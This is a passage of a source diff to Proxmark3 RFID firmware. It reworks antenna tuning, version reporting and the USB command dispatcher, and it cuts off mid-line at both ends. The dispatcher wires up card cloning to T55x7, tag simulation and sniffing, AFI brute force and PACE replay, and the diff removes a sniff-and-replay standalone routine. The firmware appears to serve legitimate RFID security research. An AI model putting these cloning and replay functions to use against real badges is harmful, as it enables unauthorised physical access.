sizeof(LF_Results)); + LED_B_ON(); /* * Sweeps the useful LF range of the proxmark from @@ -216,166 +235,172 @@ void MeasureAntennaTuning(void) FpgaDownloadAndGo(FPGA_BITSTREAM_LF); FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); - for (i=255; i>19; i--) { - WDT_HIT(); + SpinDelay(50); + + for (i = 255; i >= 19; i--) { + WDT_HIT(); FpgaSendCommand(FPGA_CMD_SET_DIVISOR, i); SpinDelay(20); - // Vref = 3.3V, and a 10000:240 voltage divider on the input - // can measure voltages up to 137500 mV - adcval = ((137500 * AvgAdc(ADC_CHAN_LF)) >> 10); - if (i==95) vLf125 = adcval; // voltage at 125Khz - if (i==89) vLf134 = adcval; // voltage at 134Khz + adcval = ((MAX_ADC_LF_VOLTAGE * AvgAdc(ADC_CHAN_LF)) >> 10); + if (i == 95) + v_lf125 = adcval; // voltage at 125Khz + if (i == 89) + v_lf134 = adcval; // voltage at 134Khz - dest[i] = adcval>>8; // scale int to fit in byte for graphing purposes - if(dest[i] > peak) { + LF_Results[i] = adcval >> 9; // scale int to fit in byte for graphing purposes + if(LF_Results[i] > peak) { peakv = adcval; - peak = dest[i]; peakf = i; - //ptr = i; + peak = LF_Results[i]; } - } - - LED_A_ON(); + } + + LED_A_ON(); // Let the FPGA drive the high-frequency antenna around 13.56 MHz. - FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR); - SpinDelay(20); - // Vref = 3300mV, and an 10:1 voltage divider on the input - // can measure voltages up to 33000 mV - vHf = (33000 * AvgAdc(ADC_CHAN_HF)) >> 10; - -// c.cmd = CMD_MEASURED_ANTENNA_TUNING; -// c.arg[0] = (vLf125 << 0) | (vLf134 << 16); -// c.arg[1] = vHf; -// c.arg[2] = peakf | (peakv << 16); - - DbpString("Measuring complete, sending report back to host"); - cmd_send(CMD_MEASURED_ANTENNA_TUNING,vLf125|(vLf134<<16),vHf,peakf|(peakv<<16),0,0); -// UsbSendPacket((uint8_t *)&c, sizeof(c)); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - LED_A_OFF(); - LED_B_OFF(); - return; -} - -void MeasureAntennaTuningHf(void) -{ - int vHf = 0; // in mV - - DbpString("Measuring HF antenna, press button to exit"); - - for (;;) { - // Let the FPGA drive the high-frequency antenna around 13.56 MHz. - FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR); - SpinDelay(20); - // Vref = 3300mV, and an 10:1 voltage divider on the input - // can measure voltages up to 33000 mV - vHf = (33000 * AvgAdc(ADC_CHAN_HF)) >> 10; - - Dbprintf("%d mV",vHf); - if (BUTTON_PRESS()) break; - } - DbpString("cancelled"); -} - - -void SimulateTagHfListen(void) -{ - uint8_t *dest = (uint8_t *)BigBuf+FREE_BUFFER_OFFSET; - uint8_t v = 0; - int i; - int p = 0; - - // We're using this mode just so that I can test it out; the simulated - // tag mode would work just as well and be simpler. FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR | FPGA_HF_READER_RX_XCORR_848_KHZ | FPGA_HF_READER_RX_XCORR_SNOOP); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR); + SpinDelay(50); + v_hf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; - // We need to listen to the high-frequency, peak-detected path. - SetAdcMuxFor(GPIO_MUXSEL_HIPKD); - - FpgaSetupSsc(); - - i = 0; - for(;;) { - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { - AT91C_BASE_SSC->SSC_THR = 0xff; - } - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { - uint8_t r = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - - v <<= 1; - if(r & 1) { - v |= 1; - } - p++; - - if(p >= 8) { - dest[i] = v; - v = 0; - p = 0; - i++; - - if(i >= FREE_BUFFER_SIZE) { - break; - } - } - } + // RDV40 will hit the roof, try other ADC channel used in that hardware revision. + if ( v_hf > MAX_ADC_HF_VOLTAGE-300 ) { + v_hf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; } - DbpString("simulate tag (now type bitsamples)"); + + uint64_t arg0 = v_lf134; + arg0 <<= 32; + arg0 |= v_lf125; + + uint64_t arg2 = peakv; + arg2 <<= 32; + arg2 |= peakf; + + cmd_send(CMD_MEASURED_ANTENNA_TUNING, arg0, v_hf, arg2, LF_Results, 256); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); } -void ReadMem(int addr) -{ +void MeasureAntennaTuningHf(void) { + uint16_t volt = 0; // in mV + // Let the FPGA drive the high-frequency antenna around 13.56 MHz. + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR); + SpinDelay(50); + volt = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; + bool use_high = ( volt > MAX_ADC_HF_VOLTAGE-300 ); + + while( !BUTTON_PRESS() ){ + SpinDelay(20); + if ( !use_high ) { + volt = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; + } else { + volt = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; + } + DbprintfEx(CMD_MEASURE_ANTENNA_TUNING_HF, "%u mV / %5u V", volt, (uint16_t)(volt/1000)); + } + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + DbpString("\n[+] cancelled"); +} + +void ReadMem(int addr) { const uint8_t *data = ((uint8_t *)addr); - Dbprintf("%x: %02x %02x %02x %02x %02x %02x %02x %02x", - addr, data[0], data[1], data[2], data[3], data[4], data[5], data[6], data[7]); + Dbprintf("%x: %02x %02x %02x %02x %02x %02x %02x %02x", addr, data[0], data[1], data[2], data[3], data[4], data[5], data[6], data[7]); } /* osimage version information is linked in */ extern struct version_information version_information; /* bootrom version information is pointed to from _bootphase1_version_pointer */ -extern char *_bootphase1_version_pointer, _flash_start, _flash_end; -void SendVersion(void) -{ - char temp[256]; /* Limited data payload in USB packets */ - DbpString("Prox/RFID mark3 RFID instrument"); +extern char *_bootphase1_version_pointer, _flash_start, _flash_end, _bootrom_start, _bootrom_end, __data_src_start__; +void SendVersion(void) { + char temp[USB_CMD_DATA_SIZE]; /* Limited data payload in USB packets */ + char VersionString[USB_CMD_DATA_SIZE] = { '\0' }; /* Try to find the bootrom version information. Expect to find a pointer at * symbol _bootphase1_version_pointer, perform slight sanity checks on the * pointer, then use it. */ char *bootrom_version = *(char**)&_bootphase1_version_pointer; + + strncat(VersionString, " [ ARM ]\n", sizeof(VersionString) - strlen(VersionString) - 1); + if( bootrom_version < &_flash_start || bootrom_version >= &_flash_end ) { - DbpString("bootrom version information appears invalid"); + strcat(VersionString, "bootrom version information appears invalid\n"); } else { - FormatVersionInformation(temp, sizeof(temp), "bootrom: ", bootrom_version); - DbpString(temp); + FormatVersionInformation(temp, sizeof(temp), " bootrom: ", bootrom_version); + strncat(VersionString, temp, sizeof(VersionString) - strlen(VersionString) - 1); } - FormatVersionInformation(temp, sizeof(temp), "os: ", &version_information); - DbpString(temp); + FormatVersionInformation(temp, sizeof(temp), " os: ", &version_information); + strncat(VersionString, temp, sizeof(VersionString) - strlen(VersionString) - 1); - FpgaGatherVersion(temp, sizeof(temp)); - DbpString(temp); - // Send Chip ID - cmd_send(CMD_ACK,*(AT91C_DBGU_CIDR),0,0,NULL,0); + strncat(VersionString, "\n [ FPGA ]\n", sizeof(VersionString) - strlen(VersionString) - 1); + + for (int i = 0; i < fpga_bitstream_num; i++) { + strncat(VersionString, fpga_version_information[i], sizeof(VersionString) - strlen(VersionString) - 1); + if (i < fpga_bitstream_num - 1) { + strncat(VersionString, "\n", sizeof(VersionString) - strlen(VersionString) - 1); + } + } + // Send Chip ID and used flash memory + uint32_t text_and_rodata_section_size = (uint32_t)&__data_src_start__ - (uint32_t)&_flash_start; + uint32_t compressed_data_section_size = common_area.arg1; + cmd_send(CMD_ACK, *(AT91C_DBGU_CIDR), text_and_rodata_section_size + compressed_data_section_size, 0, VersionString, strlen(VersionString)); } +// measure the USB Speed by sending SpeedTestBufferSize bytes to client and measuring the elapsed time. +// Note: this mimics GetFromBigbuf(), i.e. we have the overhead of the UsbCommand structure included. +void printUSBSpeed(void) { + Dbprintf("USB Speed"); + Dbprintf(" Sending USB packets to client..."); + + #define USB_SPEED_TEST_MIN_TIME 1500 // in milliseconds + uint8_t *test_data = BigBuf_get_addr(); + uint32_t end_time; + + uint32_t start_time = end_time = GetTickCount(); + uint32_t bytes_transferred = 0; + + LED_B_ON(); + while (end_time < start_time + USB_SPEED_TEST_MIN_TIME) { + cmd_send(CMD_DOWNLOADED_RAW_ADC_SAMPLES_125K, 0, USB_CMD_DATA_SIZE, 0, test_data, USB_CMD_DATA_SIZE); + end_time = GetTickCount(); + bytes_transferred += USB_CMD_DATA_SIZE; + } + LED_B_OFF(); + + Dbprintf(" Time elapsed............%dms", end_time - start_time); + Dbprintf(" Bytes transferred.......%d", bytes_transferred); + Dbprintf(" USB Transfer Speed PM3 -> Client = %d Bytes/s", 1000 * bytes_transferred / (end_time - start_time)); +} + +/** + * Prints runtime information about the PM3. +**/ +void SendStatus(void) { + BigBuf_print_status(); + Fpga_print_status(); + Flashmem_print_status(); +#ifdef WITH_SMARTCARD + I2C_print_status(); +#endif #ifdef WITH_LF -// samy's sniff and repeat routine -void SamyRun() -{ + printConfig(); //LF Sampling config +#endif + printUSBSpeed(); + Dbprintf("Various"); + Dbprintf(" MF_DBGLEVEL.............%d", MF_DBGLEVEL); + Dbprintf(" ToSendMax...............%d", ToSendMax); + Dbprintf(" ToSendBit...............%d", ToSendBit); + Dbprintf(" ToSend BUFFERSIZE.......%d", TOSEND_BUFFER_SIZE); + printStandAloneModes(); + cmd_send(CMD_ACK, 1, 0, 0, 0, 0); +} + +// Show some leds in a pattern to identify StandAlone mod is running +void StandAloneMode(void) { + DbpString("Stand-alone mode! No PC necessary."); - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - - // 3 possible options? no just 2 for now -#define OPTS 2 - - int high[OPTS], low[OPTS]; - // Oooh pretty -- notify user we're in elite samy mode now LED(LED_RED, 200); LED(LED_ORANGE, 200); @@ -386,97 +411,45 @@ void SamyRun() LED(LED_GREEN, 200); LED(LED_ORANGE, 200); LED(LED_RED, 200); - - int selected = 0; - int playing = 0; - - // Turn on selected LED - LED(selected + 1, 0); - - for (;;) - { -// UsbPoll(FALSE); - usb_poll(); - WDT_HIT(); - - // Was our button held down or pressed? - int button_pressed = BUTTON_HELD(1000); - SpinDelay(300); - - // Button was held for a second, begin recording - if (button_pressed > 0) - { - LEDsoff(); - LED(selected + 1, 0); - LED(LED_RED2, 0); - - // record - DbpString("Starting recording"); - - // wait for button to be released - while(BUTTON_PRESS()) - WDT_HIT(); - - /* need this delay to prevent catching some weird data */ - SpinDelay(500); - - CmdHIDdemodFSK(1, &high[selected], &low[selected], 0); - Dbprintf("Recorded %x %x %x", selected, high[selected], low[selected]); - - LEDsoff(); - LED(selected + 1, 0); - // Finished recording - - // If we were previously playing, set playing off - // so next button push begins playing what we recorded - playing = 0; - } - - // Change where to record (or begin playing) - else if (button_pressed) - { - // Next option if we were previously playing - if (playing) - selected = (selected + 1) % OPTS; - playing = !playing; - - LEDsoff(); - LED(selected + 1, 0); - - // Begin transmitting - if (playing) - { - LED(LED_GREEN, 0); - DbpString("Playing"); - // wait for button to be released - while(BUTTON_PRESS()) - WDT_HIT(); - Dbprintf("%x %x %x", selected, high[selected], low[selected]); - CmdHIDsimTAG(high[selected], low[selected], 0); - DbpString("Done playing"); - if (BUTTON_HELD(1000) > 0) - { - DbpString("Exiting"); - LEDsoff(); - return; - } - - /* We pressed a button so ignore it here with a delay */ - SpinDelay(300); - - // when done, we're done playing, move to next option - selected = (selected + 1) % OPTS; - playing = !playing; - LEDsoff(); - LED(selected + 1, 0); - } - else - while(BUTTON_PRESS()) - WDT_HIT(); - } - } } +// detection of which Standalone Modes is installed +// (iceman) +void printStandAloneModes(void) { + + DbpString("Installed StandAlone Mods"); + +#if defined(WITH_LF_ICERUN) + DbpString(" LF sniff/clone/simulation - aka IceRun (iceman)"); #endif +#if defined(WITH_HF_YOUNG) + DbpString(" HF Mifare sniff/simulation - (Craig Young)"); +#endif +#if defined(WITH_LF_SAMYRUN) + DbpString(" LF HID26 standalone - aka SamyRun (Samy Kamkar)"); +#endif +#if defined(WITH_LF_PROXBRUTE) + DbpString(" LF HID ProxII bruteforce - aka Proxbrute (Brad Antoniewicz)"); +#endif +#if defined(WITH_LF_HIDBRUTE) + DbpString(" LF HID corporate 1000 bruteforce - (Federico dotta & Maurizio Agazzini)"); +#endif +#if defined(WITH_HF_MATTYRUN) + DbpString(" HF Mifare sniff/clone - aka MattyRun (Matías A. Ré Medina)"); +#endif +#if defined(WITH_HF_COLIN) + DbpString(" HF Mifare ultra fast sniff/sim/clone - aka VIGIKPWN (Colin Brigato)"); +#endif + + //DbpString("Running "); + //Dbprintf(" Is Device attached to USB| %s", USB_ATTACHED() ? "Yes" : "No"); + //Dbprintf(" Is USB_reconnect value | %d", GetUSBreconnect() ); + //Dbprintf(" Is USB_configured value | %d", GetUSBconfigured() ); + + //.. add your own standalone detection based on with compiler directive you are used. + // don't "reuse" the already taken ones, this will make things easier when trying to detect the different modes + // 2017-08-06 must adapt the makefile and have individual compilation flags for all mods + // +} /* OBJECTIVE @@ -515,37 +488,50 @@ static const char LIGHT_SCHEME[] = { }; static const int LIGHT_LEN = sizeof(LIGHT_SCHEME)/sizeof(LIGHT_SCHEME[0]); -void ListenReaderField(int limit) -{ - int lf_av, lf_av_new, lf_baseline= 0, lf_count= 0, lf_max; - int hf_av, hf_av_new, hf_baseline= 0, hf_count= 0, hf_max; - int mode=1, display_val, display_max, i; +void ListenReaderField(int limit) { +#define LF_ONLY 1 +#define HF_ONLY 2 +#define REPORT_CHANGE 10 // report new values only if they have changed at least by REPORT_CHANGE -#define LF_ONLY 1 -#define HF_ONLY 2 + uint16_t lf_av, lf_av_new, lf_baseline = 0, lf_max; + uint16_t hf_av, hf_av_new, hf_baseline = 0, hf_max; + uint16_t mode = 1, display_val, display_max, i; + + // switch off FPGA - we don't want to measure our own signal + // 20180315 - iceman, why load this before and then turn off? + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); - lf_av=lf_max=ReadAdc(ADC_CHAN_LF); + lf_av = lf_max = AvgAdc(ADC_CHAN_LF); - if(limit != HF_ONLY) { - Dbprintf("LF 125/134 Baseline: %d", lf_av); + if (limit != HF_ONLY) { + Dbprintf("LF 125/134kHz Baseline: %dmV", (MAX_ADC_LF_VOLTAGE * lf_av) >> 10); lf_baseline = lf_av; } - hf_av=hf_max=ReadAdc(ADC_CHAN_HF); + hf_av = hf_max = AvgAdc(ADC_CHAN_HF); + + // iceman, useless, since we are measuring readerfield, not our field. My tests shows a max of 20v from a reader. + // RDV40 will hit the roof, try other ADC channel used in that hardware revision. + bool use_high = ( ((MAX_ADC_HF_VOLTAGE * hf_max) >> 10) > MAX_ADC_HF_VOLTAGE-300 ); + if ( use_high ) { + hf_av = hf_max = AvgAdc(ADC_CHAN_HF_RDV40); + } if (limit != LF_ONLY) { - Dbprintf("HF 13.56 Baseline: %d", hf_av); + Dbprintf("HF 13.56MHz Baseline: %dmV", (MAX_ADC_HF_VOLTAGE * hf_av) >> 10); hf_baseline = hf_av; } for(;;) { + // Switch modes with button if (BUTTON_PRESS()) { SpinDelay(500); switch (mode) { case 1: - mode=2; + mode = 2; DbpString("Signal Strength Mode"); break; case 2: @@ -559,42 +545,43 @@ void ListenReaderField(int limit) WDT_HIT(); if (limit != HF_ONLY) { - if(mode==1) { - if (abs(lf_av - lf_baseline) > 10) LED_D_ON(); - else LED_D_OFF(); + if(mode == 1) { + if (ABS(lf_av - lf_baseline) > REPORT_CHANGE) + LED_D_ON(); + else + LED_D_OFF(); } - ++lf_count; - lf_av_new= ReadAdc(ADC_CHAN_LF); + lf_av_new = AvgAdc(ADC_CHAN_LF); // see if there's a significant change - if(abs(lf_av - lf_av_new) > 10) { - Dbprintf("LF 125/134 Field Change: %x %x %x", lf_av, lf_av_new, lf_count); + if (ABS(lf_av - lf_av_new) > REPORT_CHANGE) { + Dbprintf("LF 125/134kHz Field Change: %5dmV", (MAX_ADC_LF_VOLTAGE * lf_av_new) >> 10); lf_av = lf_av_new; if (lf_av > lf_max) lf_max = lf_av; - lf_count= 0; } } if (limit != LF_ONLY) { if (mode == 1){ - if (abs(hf_av - hf_baseline) > 10) LED_B_ON(); - else LED_B_OFF(); + if (ABS(hf_av - hf_baseline) > REPORT_CHANGE) + LED_B_ON(); + else + LED_B_OFF(); } - ++hf_count; - hf_av_new= ReadAdc(ADC_CHAN_HF); + hf_av_new = (use_high) ? AvgAdc(ADC_CHAN_HF_RDV40) : AvgAdc(ADC_CHAN_HF); + // see if there's a significant change - if(abs(hf_av - hf_av_new) > 10) { - Dbprintf("HF 13.56 Field Change: %x %x %x", hf_av, hf_av_new, hf_count); + if(ABS(hf_av - hf_av_new) > REPORT_CHANGE) { + Dbprintf("HF 13.56MHz Field Change: %5dmV", (MAX_ADC_HF_VOLTAGE * hf_av_new) >> 10); hf_av = hf_av_new; if (hf_av > hf_max) hf_max = hf_av; - hf_count= 0; } } - if(mode == 2) { + if (mode == 2) { if (limit == LF_ONLY) { display_val = lf_av; display_max = lf_max; @@ -618,45 +605,68 @@ void ListenReaderField(int limit) if (LIGHT_SCHEME[i] & 0x8) LED_D_ON(); else LED_D_OFF(); break; } - } + } } } } -void UsbPacketReceived(uint8_t *packet, int len) -{ +void UsbPacketReceived(uint8_t *packet, int len) { UsbCommand *c = (UsbCommand *)packet; -// Dbprintf("received %d bytes, with command: 0x%04x and args: %d %d %d",len,c->cmd,c->arg[0],c->arg[1],c->arg[2]); + //Dbprintf("received %d bytes, with command: 0x%04x and args: %d %d %d",len,c->cmd,c->arg[0],c->arg[1],c->arg[2]); switch(c->cmd) { #ifdef WITH_LF - case CMD_ACQUIRE_RAW_ADC_SAMPLES_125K: - AcquireRawAdcSamples125k(c->arg[0]); - cmd_send(CMD_ACK,0,0,0,0,0); + case CMD_SET_LF_SAMPLING_CONFIG: + setSamplingConfig((sample_config *) c->d.asBytes); break; + case CMD_ACQUIRE_RAW_ADC_SAMPLES_125K: { + uint32_t bits = SampleLF(c->arg[0], c->arg[1]); + cmd_send(CMD_ACK, bits, 0, 0, 0, 0); + break; + } case CMD_MOD_THEN_ACQUIRE_RAW_ADC_SAMPLES_125K: - ModThenAcquireRawAdcSamples125k(c->arg[0],c->arg[1],c->arg[2],c->d.asBytes); + ModThenAcquireRawAdcSamples125k(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); break; - case CMD_LF_SNOOP_RAW_ADC_SAMPLES: - SnoopLFRawAdcSamples(c->arg[0], c->arg[1]); - cmd_send(CMD_ACK,0,0,0,0,0); + case CMD_LF_SNOOP_RAW_ADC_SAMPLES: { + uint32_t bits = SnoopLF(); + cmd_send(CMD_ACK, bits, 0, 0, 0, 0); break; - case CMD_HID_DEMOD_FSK: - CmdHIDdemodFSK(0, 0, 0, 1); // Demodulate HID tag + } + case CMD_HID_DEMOD_FSK: { + uint32_t high, low; + CmdHIDdemodFSK(c->arg[0], &high, &low, 1); break; + } case CMD_HID_SIM_TAG: - CmdHIDsimTAG(c->arg[0], c->arg[1], 1); // Simulate HID tag by ID + CmdHIDsimTAG(c->arg[0], c->arg[1], 1); break; - case CMD_HID_CLONE_TAG: // Clone HID tag by ID to T55x7 + case CMD_FSK_SIM_TAG: + CmdFSKsimTAG(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); + break; + case CMD_ASK_SIM_TAG: + CmdASKsimTag(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); + break; + case CMD_PSK_SIM_TAG: + CmdPSKsimTag(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); + break; + case CMD_HID_CLONE_TAG: CopyHIDtoT55x7(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes[0]); break; - case CMD_IO_DEMOD_FSK: - CmdIOdemodFSK(1, 0, 0, 1); // Demodulate IO tag + case CMD_IO_DEMOD_FSK: { + uint32_t high, low; + CmdIOdemodFSK(c->arg[0], &high, &low, 1); break; - case CMD_IO_CLONE_TAG: // Clone IO tag by ID to T55x7 - CopyIOtoT55x7(c->arg[0], c->arg[1], c->d.asBytes[0]); + } + case CMD_IO_CLONE_TAG: + CopyIOtoT55x7(c->arg[0], c->arg[1]); break; + case CMD_EM410X_DEMOD: { + uint32_t high; + uint64_t low; + CmdEM410xdemod(c->arg[0], &high, &low, 1); + break; + } case CMD_EM410X_WRITE_TAG: WriteEM410x(c->arg[0], c->arg[1], c->arg[2]); break; @@ -667,38 +677,64 @@ void UsbPacketReceived(uint8_t *packet, int len) WriteTItag(c->arg[0],c->arg[1],c->arg[2]); break; case CMD_SIMULATE_TAG_125K: - LED_A_ON(); + LED_A_ON(); SimulateTagLowFrequency(c->arg[0], c->arg[1], 1); LED_A_OFF(); break; case CMD_LF_SIMULATE_BIDIR: SimulateTagLowFrequencyBidir(c->arg[0], c->arg[1]); break; - case CMD_INDALA_CLONE_TAG: // Clone Indala 64-bit tag by UID to T55x7 + case CMD_INDALA_CLONE_TAG: CopyIndala64toT55x7(c->arg[0], c->arg[1]); break; - case CMD_INDALA_CLONE_TAG_L: // Clone Indala 224-bit tag by UID to T55x7 - CopyIndala224toT55x7(c->d.asDwords[0], c->d.asDwords[1], c->d.asDwords[2], c->d.asDwords[3], c->d.asDwords[4], c->d.asDwords[5], c->d.asDwords[6]); + case CMD_INDALA_CLONE_TAG_L: + CopyIndala224toT55x7( + c->d.asDwords[0], c->d.asDwords[1], c->d.asDwords[2], c->d.asDwords[3], + c->d.asDwords[4], c->d.asDwords[5], c->d.asDwords[6] + ); break; case CMD_T55XX_READ_BLOCK: - T55xxReadBlock(c->arg[1], c->arg[2],c->d.asBytes[0]); + T55xxReadBlock(c->arg[0], c->arg[1], c->arg[2]); break; case CMD_T55XX_WRITE_BLOCK: T55xxWriteBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes[0]); break; - case CMD_T55XX_READ_TRACE: // Clone HID tag by ID to T55x7 - T55xxReadTrace(); + case CMD_T55XX_WAKEUP: + T55xxWakeUp(c->arg[0]); break; - case CMD_PCF7931_READ: // Read PCF7931 tag + case CMD_T55XX_RESET_READ: + T55xxResetRead(); + break; + case CMD_PCF7931_READ: ReadPCF7931(); - cmd_send(CMD_ACK,0,0,0,0,0); -// UsbSendPacket((uint8_t*)&ack, sizeof(ack)); + break; + case CMD_PCF7931_WRITE: + WritePCF7931( + c->d.asBytes[0], c->d.asBytes[1], c->d.asBytes[2], c->d.asBytes[3], + c->d.asBytes[4], c->d.asBytes[5], c->d.asBytes[6], c->d.asBytes[9], + c->d.asBytes[7] - 128, c->d.asBytes[8] - 128, + c->arg[0], + c->arg[1], + c->arg[2] + ); break; case CMD_EM4X_READ_WORD: - EM4xReadWord(c->arg[1], c->arg[2],c->d.asBytes[0]); + EM4xReadWord(c->arg[0], c->arg[1], c->arg[2]); break; case CMD_EM4X_WRITE_WORD: - EM4xWriteWord(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes[0]); + EM4xWriteWord(c->arg[0], c->arg[1], c->arg[2]); + break; + case CMD_AWID_DEMOD_FSK: { + uint32_t high, low; + // Set realtime AWID demodulation + CmdAWIDdemodFSK(c->arg[0], &high, &low, 1); + break; + } + case CMD_VIKING_CLONE_TAG: + CopyVikingtoT55xx(c->arg[0], c->arg[1], c->arg[2]); + break; + case CMD_COTAG: + Cotag(c->arg[0]); break; #endif @@ -712,8 +748,24 @@ void UsbPacketReceived(uint8_t *packet, int len) case CMD_READER_HITAG: // Reader for Hitag tags, args = type and function ReaderHitag((hitag_function)c->arg[0],(hitag_data*)c->d.asBytes); break; + case CMD_SIMULATE_HITAG_S:// Simulate Hitag s tag, args = memory content + SimulateHitagSTag((bool)c->arg[0],(byte_t*)c->d.asBytes); + break; + case CMD_TEST_HITAGS_TRACES:// Tests every challenge within the given file + check_challenges((bool)c->arg[0],(byte_t*)c->d.asBytes); + break; + case CMD_READ_HITAG_S: //Reader for only Hitag S tags, args = key or challenge + ReadHitagS((hitag_function)c->arg[0],(hitag_data*)c->d.asBytes); + break; + case CMD_WR_HITAG_S: //writer for Hitag tags args=data to write,page and key or challenge + if ((hitag_function)c->arg[0] < 10) { + WritePageHitagS((hitag_function)c->arg[0],(hitag_data*)c->d.asBytes,c->arg[2]); + } else if ((hitag_function)c->arg[0] >= 10) { + WriterHitag((hitag_function)c->arg[0],(hitag_data*)c->d.asBytes, c->arg[2]); + } + break; #endif - + #ifdef WITH_ISO15693 case CMD_ACQUIRE_RAW_ADC_SAMPLES_ISO_15693: AcquireRawAdcSamplesIso15693(); @@ -721,24 +773,17 @@ void UsbPacketReceived(uint8_t *packet, int len) case CMD_RECORD_RAW_ADC_SAMPLES_ISO_15693: RecordRawAdcSamplesIso15693(); break; - case CMD_ISO_15693_COMMAND: - DirectTag15693Command(c->arg[0],c->arg[1],c->arg[2],c->d.asBytes); + DirectTag15693Command(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); break; - case CMD_ISO_15693_FIND_AFI: BruteforceIso15693Afi(c->arg[0]); break; - - case CMD_ISO_15693_DEBUG: - SetDebugIso15693(c->arg[0]); - break; - case CMD_READER_ISO_15693: ReaderIso15693(c->arg[0]); break; case CMD_SIMTAG_ISO_15693: - SimTagIso15693(c->arg[0]); + SimTagIso15693(c->arg[0], c->d.asBytes); break; #endif @@ -746,88 +791,132 @@ void UsbPacketReceived(uint8_t *packet, int len) case CMD_SIMULATE_TAG_LEGIC_RF: LegicRfSimulate(c->arg[0], c->arg[1], c->arg[2]); break; - case CMD_WRITER_LEGIC_RF: - LegicRfWriter(c->arg[1], c->arg[0]); + LegicRfWriter( c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); break; - case CMD_READER_LEGIC_RF: - LegicRfReader(c->arg[0], c->arg[1]); + LegicRfReader(c->arg[0], c->arg[1], c->arg[2]); + break; + case CMD_LEGIC_INFO: + LegicRfInfo(); + break; + case CMD_LEGIC_ESET: + //----------------------------------------------------------------------------- + // Note: we call FpgaDownloadAndGo(FPGA_BITSTREAM_HF) here although FPGA is not + // involved in dealing with emulator memory. But if it is called later, it might + // destroy the Emulator Memory. + //----------------------------------------------------------------------------- + // arg0 = offset + // arg1 = num of bytes + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + emlSet(c->d.asBytes, c->arg[0], c->arg[1]); break; #endif #ifdef WITH_ISO14443b - case CMD_ACQUIRE_RAW_ADC_SAMPLES_ISO_14443: - AcquireRawAdcSamplesIso14443(c->arg[0]); + case CMD_READ_SRI_TAG: + ReadSTMemoryIso14443b(c->arg[0]); break; - case CMD_READ_SRI512_TAG: - ReadSTMemoryIso14443(0x0F); + case CMD_SNOOP_ISO_14443B: + SniffIso14443b(); break; - case CMD_READ_SRIX4K_TAG: - ReadSTMemoryIso14443(0x7F); - break; - case CMD_SNOOP_ISO_14443: - SnoopIso14443(); - break; - case CMD_SIMULATE_TAG_ISO_14443: - SimulateIso14443Tag(); + case CMD_SIMULATE_TAG_ISO_14443B: + SimulateIso14443bTag(c->arg[0]); break; case CMD_ISO_14443B_COMMAND: - SendRawCommand14443B(c->arg[0],c->arg[1],c->arg[2],c->d.asBytes); + //SendRawCommand14443B(c->arg[0],c->arg[1],c->arg[2],c->d.asBytes); + SendRawCommand14443B_Ex(c); break; #endif +#ifdef WITH_FELICA + case CMD_FELICA_COMMAND: + felica_sendraw(c); + break; + case CMD_FELICA_LITE_SIM: + felica_sim_lite(c->arg[0]); + break; + case CMD_FELICA_SNOOP: + felica_sniff(c->arg[0], c->arg[1]); + break; + case CMD_FELICA_LITE_DUMP: + felica_dump_lite_s(); + break; +#endif + #ifdef WITH_ISO14443a case CMD_SNOOP_ISO_14443a: - SnoopIso14443a(c->arg[0]); + SniffIso14443a(c->arg[0]); break; case CMD_READER_ISO_14443a: ReaderIso14443a(c); break; case CMD_SIMULATE_TAG_ISO_14443a: - SimulateIso14443aTag(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); // ## Simulate iso14443a tag - pass tag type & UID + SimulateIso14443aTag(c->arg[0], c->arg[1], c->d.asBytes); // ## Simulate iso14443a tag - pass tag type & UID break; + case CMD_ANTIFUZZ_ISO_14443a: + iso14443a_antifuzz(c->arg[0]); + break; case CMD_EPA_PACE_COLLECT_NONCE: EPA_PACE_Collect_Nonce(c); break; - + case CMD_EPA_PACE_REPLAY: + EPA_PACE_Replay(c); + break; case CMD_READER_MIFARE: - ReaderMifare(c->arg[0]); + ReaderMifare(c->arg[0], c->arg[1], c->arg[2]); break; case CMD_MIFARE_READBL: MifareReadBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); break; case CMD_MIFAREU_READBL: - MifareUReadBlock(c->arg[0],c->d.asBytes); + MifareUReadBlock(c->arg[0],c->arg[1], c->d.asBytes); + break; + case CMD_MIFAREUC_AUTH: + MifareUC_Auth(c->arg[0],c->d.asBytes); break; case CMD_MIFAREU_READCARD: - 